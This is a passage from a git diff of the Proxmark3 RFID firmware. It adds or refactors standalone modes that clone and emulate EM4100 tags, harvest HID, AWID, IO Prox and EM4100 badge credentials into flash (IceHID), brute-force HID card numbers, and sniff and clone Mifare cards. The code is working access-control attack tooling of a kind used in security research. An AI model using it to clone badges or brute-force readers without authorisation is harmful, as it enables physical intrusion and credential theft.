LED_C_ON(); //red + } } - /* - If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned. - */ + // If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned. + if ((transferToEml) && (allKeysFound)) { emlClearMem(); @@ -399,7 +417,7 @@ void RunMod() { simflags = FLAG_4B_UID_IN_DATA; break; } - Mifare1ksim(simflags | FLAG_MF_1K, 0, uid); + Mifare1ksim(simflags | FLAG_MF_1K, 0, uid, 0, 0); LED_B_OFF(); /* diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c index 6b56935bd..f137e9992 100644 --- a/armsrc/Standalone/hf_young.c +++ b/armsrc/Standalone/hf_young.c @@ -8,18 +8,33 @@ //----------------------------------------------------------------------------- // main code for HF standalone mode Mifare /sniff/emulation by Craig Young //----------------------------------------------------------------------------- -#include "hf_young.h" + +#include "standalone.h" // standalone definitions +#include +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" +#include "string.h" +#include "commonutil.h" +#include "mifarecmd.h" +#include "iso14443a.h" +#include "protocols.h" + +#define OPTS 2 typedef struct { uint8_t uid[10]; uint8_t uidlen; uint8_t atqa[2]; uint8_t sak; -} __attribute__((__packed__)) card_clone_t; +} PACKED card_clone_t; void ModInfo(void) { - DbpString(" HF Mifare sniff/simulation - (Craig Young)"); + DbpString(" HF Mifare sniff/simulation - (Craig Young)"); } void RunMod() { @@ -99,9 +114,9 @@ void RunMod() { Dbprintf("ATQA = %02X%02X", uids[selected].atqa[0], uids[selected].atqa[1]); Dbprintf("SAK = %02X", uids[selected].sak); LEDsoff(); - LED(LED_B, 200); + LED(LED_B, 200); LED(LED_A, 200); - LED(LED_B, 200); + LED(LED_B, 200); LED(LED_A, 200); LEDsoff(); @@ -136,18 +151,18 @@ void RunMod() { SpinDelay(500); // Begin clone function here: /* Example from client/mifarehost.c for commanding a block write for "magic Chinese" cards: - SendCommandOLD(CMD_MIFARE_CSETBLOCK, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16); + SendCommandOLD(CMD_HF_MIFARE_CSETBL, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16); Block read is similar: - SendCommandOLD(CMD_MIFARE_CGETBLOCK, params, blockNo, 0,...}; + SendCommandOLD(CMD_HF_MIFARE_CGETBL, params, blockNo, 0,...}; We need to imitate that call with blockNo 0 to set a uid. The get and set commands are handled in this file: // Work with "magic Chinese" card - case CMD_MIFARE_CSETBLOCK: + case CMD_HF_MIFARE_CSETBL: MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes); break; - case CMD_MIFARE_CGETBLOCK: + case CMD_HF_MIFARE_CGETBL: MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes); break; @@ -180,7 +195,7 @@ void RunMod() { MifareCGetBlock(params, 0, testBlock0); if (memcmp(testBlock0, newBlock0, 16) == 0) { - DbpString("Cloned successfull!"); + DbpString("Cloned successful!"); cardRead[selected] = 0; // Only if the card was cloned successfully should we clear it playing = 0; iGotoRecord = 1; diff --git a/armsrc/Standalone/lf_em4100emul.c b/armsrc/Standalone/lf_em4100emul.c new file mode 100644 index 000000000..7b38133bc --- /dev/null +++ b/armsrc/Standalone/lf_em4100emul.c @@ -0,0 +1,100 @@ +//----------------------------------------------------------------------------- +// Artyom Gnatyuk, 2020 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF emul - Very simple mode. Simulate only predefined in low[] IDs +// Short click - select next slot and start simulation +//----------------------------------------------------------------------------- +#include "standalone.h" +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "lfops.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" +#include "string.h" +#include "BigBuf.h" + +#define MAX_IND 16 // 4 LEDs - 2^4 combinations +#define CLOCK 64 //for 125kHz + +// low & high - array for storage IDs. Its length must be equal. +// Predefined IDs must be stored in low[]. +// In high[] must be nulls +uint64_t low[] = {0x565A1140BE, 0x365A398149, 0x5555555555, 0xFFFFFFFFFF}; +uint32_t high[] = {0, 0, 0, 0}; +uint8_t *bba, slots_count; +int buflen; + +void ModInfo(void) { + DbpString(" LF EM4100 simulator standalone mode"); +} + +uint64_t ReversQuads(uint64_t bits) { + uint64_t result = 0; + for (int i = 0; i < 16; i++) { + result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i); + } + return result >> 24; +} + +void FillBuff(uint8_t bit) { + memset(bba + buflen, bit, CLOCK / 2); + buflen += (CLOCK / 2); + memset(bba + buflen, bit ^ 1, CLOCK / 2); + buflen += (CLOCK / 2); +} + +void ConstructEM410xEmulBuf(uint64_t id) { + + int i, j, binary[4], parity[4]; + buflen = 0; + for (i = 0; i < 9; i++) + FillBuff(1); + parity[0] = parity[1] = parity[2] = parity[3] = 0; + for (i = 0; i < 10; i++) { + for (j = 3; j >= 0; j--, id /= 2) + binary[j] = id % 2; + for (j = 0; j < 4; j++) + FillBuff(binary[j]); + FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]); + for (j = 0; j < 4; j++) + parity[j] ^= binary[j]; + } + for (j = 0; j < 4; j++) + FillBuff(parity[j]); + FillBuff(0); +} + +void LED_Slot(int i) { + LEDsoff(); + if (slots_count > 4) { + LED(i % MAX_IND, 0); //binary indication for slots_count > 4 + } else { + LED(1 << i, 0); //simple indication for slots_count <=4 + } +} + +void RunMod() { + StandAloneMode(); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + Dbprintf("[=] >> LF EM4100 simulator started <<"); + + int selected = 0; //selected slot after start + slots_count = sizeof(low) / sizeof(low[0]); + bba = BigBuf_get_addr(); + for (;;) { + WDT_HIT(); + if (data_available()) break; + SpinDelay(100); + SpinUp(100); + LED_Slot(selected); + ConstructEM410xEmulBuf(ReversQuads(low[selected])); + SimulateTagLowFrequency(buflen, 0, true); + selected = (selected + 1) % slots_count; + } +} diff --git a/armsrc/Standalone/lf_em4100rwc.c b/armsrc/Standalone/lf_em4100rwc.c new file mode 100644 index 000000000..02366d0a6 --- /dev/null +++ b/armsrc/Standalone/lf_em4100rwc.c @@ -0,0 +1,204 @@ +//----------------------------------------------------------------------------- +// Artyom Gnatyuk, 2020 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF rwc - This mode can simulate ID from selected slot, read ID to +// selected slot, write from selected slot to T5555 tag and store +// readed ID to flash (only RDV4). Also you can set predefined IDs +// in any slot. +// To recall stored ID from flash execute: +// mem spifss dump o emdump p +// or: +// mem spifss dump o emdump f emdump +// then from shell: +// hexdump emdump -e '5/1 "%02X" /0 "\n"' +//----------------------------------------------------------------------------- +#include "standalone.h" +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "lfops.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" +#include "string.h" +#include "BigBuf.h" +#include "spiffs.h" + +#ifdef WITH_FLASH +#include "flashmem.h" +#endif + +#define MAX_IND 16 // 4 LEDs - 2^4 combinations +#define CLOCK 64 //for 125kHz + +// low & high - array for storage IDs. Its length must be equal. +// Predefined IDs must be stored in low[]. +// In high[] must be nulls +uint64_t low[] = {0x565AF781C7, 0x540053E4E2, 0x1234567890, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; +uint32_t high[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; +uint8_t *bba, slots_count; +int buflen; + +void ModInfo(void) { + DbpString(" LF EM4100 read/write/clone mode"); +} + +uint64_t ReversQuads(uint64_t bits) { + uint64_t result = 0; + for (int i = 0; i < 16; i++) { + result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i); + } + return result >> 24; +} + +void FillBuff(uint8_t bit) { + memset(bba + buflen, bit, CLOCK / 2); + buflen += (CLOCK / 2); + memset(bba + buflen, bit ^ 1, CLOCK / 2); + buflen += (CLOCK / 2); +} + +void ConstructEM410xEmulBuf(uint64_t id) { + + int i, j, binary[4], parity[4]; + buflen = 0; + for (i = 0; i < 9; i++) + FillBuff(1); + parity[0] = parity[1] = parity[2] = parity[3] = 0; + for (i = 0; i < 10; i++) { + for (j = 3; j >= 0; j--, id /= 2) + binary[j] = id % 2; + for (j = 0; j < 4; j++) + FillBuff(binary[j]); + FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]); + for (j = 0; j < 4; j++) + parity[j] ^= binary[j]; + } + for (j = 0; j < 4; j++) + FillBuff(parity[j]); + FillBuff(0); +} + +void LED_Slot(int i) { + LEDsoff(); + if (slots_count > 4) { + LED(i % MAX_IND, 0); //binary indication, usefully for slots_count > 4 + } else { + LED(1 << i, 0); //simple indication for slots_count <=4 + } +} + +void FlashLEDs(uint32_t speed, uint8_t times) { + for (int i = 0; i < times * 2; i++) { + LED_A_INV(); + LED_B_INV(); + LED_C_INV(); + LED_D_INV(); + SpinDelay(speed); + } +} + +#ifdef WITH_FLASH +void SaveIDtoFlash(int addr, uint64_t id) { + uint8_t bt[5]; + char *filename = "emdump"; + rdv40_spiffs_mount(); + for (int i = 0; i < 5; i++) { + bt[4 - i] = (uint8_t)(id >> 8 * i & 0xff); + } + if (exists_in_spiffs(filename) == false) { + rdv40_spiffs_write(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL); + } else { + rdv40_spiffs_append(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL); + } +} +#endif + +void RunMod() { + StandAloneMode(); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + Dbprintf("[=] >> LF EM4100 read/write/clone started <<"); + + int selected = 0; + //state 0 - select slot + // 1 - read tag to selected slot, + // 2 - simulate tag from selected slot + // 3 - write to T5555 tag + uint8_t state = 0; + slots_count = sizeof(low) / sizeof(low[0]); + bba = BigBuf_get_addr(); + LED_Slot(selected); + for (;;) { + WDT_HIT(); + if (data_available()) break; + int button_pressed = BUTTON_HELD(1000); + SpinDelay(300); + switch (state) { + case 0: + // Select mode + if (button_pressed == 1) { + // Long press - switch to simulate mode + SpinUp(100); + LED_Slot(selected); + state = 2; + } else if (button_pressed < 0) { + // Click - switch to next slot + selected = (selected + 1) % slots_count; + LED_Slot(selected); + } + break; + case 1: + // Read mode. + if (button_pressed > 0) { + // Long press - switch to read mode + SpinUp(100); + LED_Slot(selected); + state = 3; + } else if (button_pressed < 0) { + // Click - exit to select mode + CmdEM410xdemod(1, &high[selected], &low[selected], 0); + FlashLEDs(100, 5); +#ifdef WITH_FLASH + SaveIDtoFlash(selected, low[selected]); +#endif + state = 0; + } + break; + case 2: + // Simulate mode + if (button_pressed > 0) { + // Long press - switch to read mode + SpinDown(100); + LED_Slot(selected); + state = 1; + } else if (button_pressed < 0) { + // Click - start simulating. Click again to exit from simulate mode + LED_Slot(selected); + ConstructEM410xEmulBuf(ReversQuads(low[selected])); + FlashLEDs(100, 5); + SimulateTagLowFrequency(buflen, 0, 1); + LED_Slot(selected); + state = 0; // Switch to select mode + } + break; + case 3: + // Write tag mode + if (button_pressed > 0) { + // Long press - switch to select mode + SpinDown(100); + LED_Slot(selected); + state = 0; + } else if (button_pressed < 0) { + // Click - write ID to tag + WriteEM410x(0, (uint32_t)(low[selected] >> 32), (uint32_t)(low[selected] & 0xffffffff)); + LED_Slot(selected); + state = 0; // Switch to select mode + } + break; + } + } +} diff --git a/armsrc/Standalone/lf_hidbrute.c b/armsrc/Standalone/lf_hidbrute.c index 06b0049ad..7cae49a5b 100644 --- a/armsrc/Standalone/lf_hidbrute.c +++ b/armsrc/Standalone/lf_hidbrute.c @@ -24,10 +24,21 @@ //----------------------------------------------------------------------------------- // main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini //----------------------------------------------------------------------------------- +#include "standalone.h" // standalone definitions #include "lf_hidbrute.h" +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" +#include "lfops.h" + +#define OPTS 3 + void ModInfo(void) { - DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)"); + DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)"); } // samy's sniff and repeat routine for LF @@ -41,35 +52,29 @@ void RunMod() { int playing = 0; int cardRead = 0; - // Turn on selected LED - LED(selected + 1, 0); - for (;;) { + WDT_HIT(); // exit from SamyRun, send a usbcommand. if (data_available()) break; // Was our button held down or pressed? - int button_pressed = BUTTON_HELD(1000); - SpinDelay(300); + int button_pressed = BUTTON_HELD(280); + if (button_pressed != BUTTON_HOLD) + continue; // Button was held for a second, begin recording - if (button_pressed > 0 && cardRead == 0) { + if (cardRead == 0) { LEDsoff(); LED(selected + 1, 0); LED(LED_D, 0); + WAIT_BUTTON_RELEASED(); + // record DbpString("[=] starting recording"); - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - - /* need this delay to prevent catching some weird data */ - SpinDelay(500); - CmdHIDdemodFSK(1, &high[selected], &low[selected], 0); Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]); @@ -88,12 +93,7 @@ void RunMod() { // record Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]); - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - - /* need this delay to prevent catching some weird data */ - SpinDelay(500); + WAIT_BUTTON_RELEASED(); CopyHIDtoT55x7(0, high[selected], low[selected], 0); Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]); @@ -125,12 +125,10 @@ void RunMod() { LED(LED_B, 0); DbpString("[=] playing"); - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); + WAIT_BUTTON_RELEASED(); Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]); - CmdHIDsimTAG(high[selected], low[selected], 0); + CmdHIDsimTAG(0, high[selected], low[selected], 0, 0); DbpString("[=] done playing"); if (BUTTON_HELD(1000) > 0) @@ -157,16 +155,15 @@ void RunMod() { LED(LED_B, 0); DbpString("[=] entering bruteforce mode"); - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); + + WAIT_BUTTON_RELEASED(); // Calculate Facility Code and Card Number from high and low uint32_t cardnum = (low[selected] >> 1) & 0xFFFFF; uint32_t fc = ((high[selected] & 1) << 11) | (low[selected] >> 21); uint32_t original_cardnum = cardnum; - Dbprintf("[=] Proxbrute - starting decrementing card number"); + Dbprintf("[=] HID brute - starting decrementing card number"); while (cardnum > 0) { @@ -191,12 +188,12 @@ void RunMod() { // Print actual code to brute Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum); - CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000); + CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000); } cardnum = original_cardnum; - Dbprintf("[=] Proxbrute - starting incrementing card number"); + Dbprintf("[=] HID brute - starting incrementing card number"); while (cardnum <= 0xFFFFF) { @@ -219,7 +216,7 @@ void RunMod() { // Print actual code to brute Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum); - CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000); + CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000); } DbpString("[=] done bruteforcing"); @@ -236,13 +233,13 @@ void RunMod() { LED(selected + 1, 0); } else { - while (BUTTON_PRESS()) - WDT_HIT(); + WAIT_BUTTON_RELEASED(); } } } out: + SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5); DbpString("[=] exiting"); LEDsoff(); } diff --git a/armsrc/Standalone/lf_hidbrute.h b/armsrc/Standalone/lf_hidbrute.h index 49b0af6c6..72e12d305 100644 --- a/armsrc/Standalone/lf_hidbrute.h +++ b/armsrc/Standalone/lf_hidbrute.h @@ -14,10 +14,7 @@ #ifndef __LF_HIDBRUTE_H #define __LF_HIDBRUTE_H -#include "standalone.h" // standalone definitions -#include "apps.h" // debugstatements, lfops? - -#define OPTS 3 +#include void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc); diff --git a/armsrc/Standalone/lf_icehid.c b/armsrc/Standalone/lf_icehid.c new file mode 100644 index 000000000..33d4ed764 --- /dev/null +++ b/armsrc/Standalone/lf_icehid.c @@ -0,0 +1,390 @@ +//----------------------------------------------------------------------------- +// Christian Herrmann, 2020 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for HID collector aka IceHID by Iceman +//----------------------------------------------------------------------------- +#include +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "appmain.h" +#include "lfops.h" +#include "lfsampling.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "printf.h" +#include "spiffs.h" +#include "ticks.h" +#include "lfdemod.h" +/* + * `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal + * flash. It requires RDV4 hardware (for flash and battery). + * + * On entering stand-alone mode, this module will start reading/record HID credentials. + * Every found / collected credential will be written/appended to the logfile in flash + * as a text string. + * + * LEDs: + * - LED A: reading / record + * - LED B: writing to flash + * - LED C: unmounting/sync'ing flash (normally < 100ms) + * + * To retrieve log file from flash: + * + * 1. mem spiffs dump o lf_hidcollect.log f lf_hidcollect.log + * Copies log file from flash to your client. + * + * 2. exit the Proxmark3 client + * + * 3. more lf_hidcollect.log + * + * This module emits debug strings during normal operation -- so try it out in + * the lab connected to PM3 client before taking it into the field. + * + * To delete the log file from flash: + * + * 1. mem spiffs remove lf_hidcollect.log + */ + +#define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log" + + +void DownloadLogInstructions() { + Dbprintf(""); + Dbprintf("[=] To get the logfile from flash and display it:"); + Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE); + Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client"); + Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE); +} + +bool log_exists; + +void append(uint8_t *entry, size_t entry_len) { + + LED_B_ON(); + if (log_exists == false) { + rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE); + log_exists = true; + } else { + rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE); + } + LED_B_OFF(); +} + +uint32_t IceEM410xdemod() { + + uint8_t *dest = BigBuf_get_addr(); + size_t idx = 0; + int clk = 0, invert = 0, maxErr = 20; + uint32_t hi = 0; + uint64_t lo = 0; + + size_t size = MIN(16385, BigBuf_max_traceLen()); + + //askdemod and manchester decode + int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); + + WDT_HIT(); + + if (errCnt > 50) { + BigBuf_free(); + return PM3_ESOFT; + } + + errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo); + if (errCnt != 1) { + BigBuf_free(); + return PM3_ESOFT; + } + + uint8_t entry[81]; + memset(entry, 0, sizeof(entry)); + + if (size == 128) { + sprintf((char *)entry, "EM XL TAG ID: %06"PRIx32"%08"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n", + hi, + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } else { + sprintf((char *)entry, "EM TAG ID: %02"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n", + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } + + append(entry, strlen((char *)entry)); + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceAWIDdemod() { + + uint8_t *dest = BigBuf_get_addr(); + size_t size = MIN(12800, BigBuf_max_traceLen()); + int dummyIdx = 0; + + //askdemod and manchester decode + int idx = detectAWID(dest, &size, &dummyIdx); + + if (idx <= 0 || size != 96) { + BigBuf_free(); + return PM3_ESOFT; + } + + //get raw ID before removing parities + uint32_t rawLo = bytebits_to_byte(dest + idx + 64, 32); + uint32_t rawHi = bytebits_to_byte(dest + idx + 32, 32); + uint32_t rawHi2 = bytebits_to_byte(dest + idx, 32); + + size = removeParity(dest, idx + 8, 4, 1, 88); + if (size != 66) { + BigBuf_free(); + return PM3_ESOFT; + } + + uint8_t entry[110]; + memset(entry, 0, sizeof(entry)); + + uint8_t fmtLen = bytebits_to_byte(dest, 8); + if (fmtLen == 26) { + uint8_t fac = bytebits_to_byte(dest + 9, 8); + uint32_t cardnum = bytebits_to_byte(dest + 17, 16); + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); + sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo); + } else { + uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16); + if (fmtLen > 32) { + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32); + uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32"%08"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo); + } else { + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo); + } + } + + append(entry, strlen((char *)entry)); + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceIOdemod() { + + int dummyIdx = 0; + uint8_t version = 0, facilitycode = 0; + uint16_t number = 0; + uint32_t hi = 0, lo = 0; + + size_t size = MIN(12000, BigBuf_max_traceLen()); + +// uint8_t *dest = BigBuf_malloc(size); + uint8_t *dest = BigBuf_get_addr(); + + //fskdemod and get start index + int idx = detectIOProx(dest, &size, &dummyIdx); + + if (idx < 0) { + BigBuf_free(); + return PM3_ESOFT; + } + + hi = bytebits_to_byte(dest + idx, 32); + lo = bytebits_to_byte(dest + idx + 32, 32); + + version = bytebits_to_byte(dest + idx + 27, 8); //14,4 + facilitycode = bytebits_to_byte(dest + idx + 18, 8); + number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9 + + uint8_t entry[64]; + memset(entry, 0, sizeof(entry)); + + sprintf((char *)entry, "IO Prox XSF(%02u)%02x:%05u (%08"PRIx32"%08"PRIx32")\n" + , version + , facilitycode + , number + , hi + , lo + ); + + append(entry, strlen((char *)entry)); + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceHIDDemod() { + + int dummyIdx = 0; + + uint32_t hi2 = 0, hi = 0, lo = 0; + + // large enough to catch 2 sequences of largest format + size_t size = 50 * 128 * 2; // 12800 bytes + //uint8_t *dest = BigBuf_malloc(size); + uint8_t *dest = BigBuf_get_addr(); + + // FSK demodulator + int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx); + if (idx < 0) { + BigBuf_free(); + return PM3_ESOFT; + } + + if ((size == 96 || size == 192)) { + + uint8_t entry[80]; + memset(entry, 0, sizeof(entry)); + + // go over previously decoded manchester data and decode into usable tag ID + if (hi2 != 0) { //extra large HID tags 88/192 bits + + sprintf((char *)entry, "HID large: %"PRIx32"%08"PRIx32"%08"PRIx32" (%"PRIu32")\n", + hi2, + hi, + lo, + (lo >> 1) & 0xFFFF + ); + + append(entry, strlen((char *)entry)); + + } else { //standard HID tags 44/96 bits + uint8_t bitlen = 0; + uint32_t fac = 0; + uint32_t cardnum = 0; + + if (((hi >> 5) & 1) == 1) { //if bit 38 is set then < 37 bit format is used + uint32_t lo2 = 0; + lo2 = (((hi & 31) << 12) | (lo >> 20)); //get bits 21-37 to check for format len bit + uint8_t idx3 = 1; + while (lo2 > 1) { //find last bit set to 1 (format len bit) + lo2 >>= 1; + idx3++; + } + bitlen = idx3 + 19; + fac = 0; + cardnum = 0; + if (bitlen == 26) { + cardnum = (lo >> 1) & 0xFFFF; + fac = (lo >> 17) & 0xFF; + } + if (bitlen == 37) { + cardnum = (lo >> 1) & 0x7FFFF; + fac = ((hi & 0xF) << 12) | (lo >> 20); + } + if (bitlen == 34) { + cardnum = (lo >> 1) & 0xFFFF; + fac = ((hi & 1) << 15) | (lo >> 17); + } + if (bitlen == 35) { + cardnum = (lo >> 1) & 0xFFFFF; + fac = ((hi & 1) << 11) | (lo >> 21); + } + } else { //if bit 38 is not set then 37 bit format is used + bitlen = 37; + cardnum = (lo >> 1) & 0x7FFFF; + fac = ((hi & 0xF) << 12) | (lo >> 20); + } + + sprintf((char *)entry, "HID: %"PRIx32"%08"PRIx32" (%"PRIu32") Format: %d bit FC: %"PRIu32" Card: %"PRIu32"\n", + hi, + lo, + (lo >> 1) & 0xFFFF, + bitlen, + fac, + cardnum + ); + + append(entry, strlen((char *)entry)); + } + + Dbprintf("%s", entry); + } + + BigBuf_free(); + return PM3_SUCCESS; +} + +void ModInfo(void) { + DbpString(_YELLOW_(" LF HID / IOprox / AWID / EM4100 collector mode") " - a.k.a IceHID (Iceman)"); +} + +void RunMod() { + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + LFSetupFPGAForADC(LF_DIVISOR_125, true); + BigBuf_Clear(); + + StandAloneMode(); + + Dbprintf(_YELLOW_("[=] Standalone mode IceHID started")); + + rdv40_spiffs_lazy_mount(); + + log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE); + + // the main loop for your standalone mode + for (;;) { + WDT_HIT(); + + // exit from IceHID, send a usbcommand. + if (data_available()) break; + + // Was our button held down or pressed? + int button_pressed = BUTTON_HELD(280); + if (button_pressed == BUTTON_HOLD) + break; + + LED_A_ON(); + + uint32_t res; + + // since we steal 12800 from bigbuffer, no need to sample it. + DoAcquisition_config(false, 28000); + res = IceHIDDemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 28000); + res = IceAWIDdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 20000); + res = IceEM410xdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 28000); + res = IceIOdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + } + + LED_C_ON(); + rdv40_spiffs_lazy_unmount(); + LED_C_OFF(); + + LEDsoff(); + DownloadLogInstructions(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); +} diff --git a/armsrc/Standalone/lf_icerun.c b/armsrc/Standalone/lf_icerun.c index e62c79329..dad74a75b 100644 --- a/armsrc/Standalone/lf_icerun.c +++ b/armsrc/Standalone/lf_icerun.c @@ -7,13 +7,17 @@ //----------------------------------------------------------------------------- // main code for skeleton aka IceRun by Iceman //----------------------------------------------------------------------------- -#include "lf_icerun.h" +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" void ModInfo(void) { - DbpString(" LF skeleton mode - aka IceRun (iceman)"); + DbpString(" LF skeleton mode - aka IceRun (iceman)"); } -// samy's sniff and repeat routine for LF void RunMod() { StandAloneMode(); Dbprintf("[=] LF skeleton code a.k.a IceRun started"); diff --git a/armsrc/Standalone/lf_proxbrute.c b/armsrc/Standalone/lf_proxbrute.c index d10a1fbfe..3cdfa6819 100644 --- a/armsrc/Standalone/lf_proxbrute.c +++ b/armsrc/Standalone/lf_proxbrute.c @@ -9,10 +9,17 @@ //----------------------------------------------------------------------------- // main code for LF aka Proxbrute by Brad antoniewicz //----------------------------------------------------------------------------- -#include "lf_proxbrute.h" +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" +#include "lfops.h" void ModInfo(void) { - DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)"); + DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)"); } // samy's sniff and repeat routine for LF @@ -21,151 +28,92 @@ void RunMod() { Dbprintf(">> LF HID proxII bruteforce a.k.a ProxBrute Started (Brad Antoniewicz) <<"); FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - uint32_t high[OPTS], low[OPTS]; - int selected = 0; - int playing = 0; - int cardRead = 0; + uint32_t high, low; - // Turn on selected LED - LED(selected + 1, 0); +#define STATE_READ 0 +#define STATE_BRUTE 1 + + uint8_t state = STATE_READ; for (;;) { + WDT_HIT(); // exit from SamyRun, send a 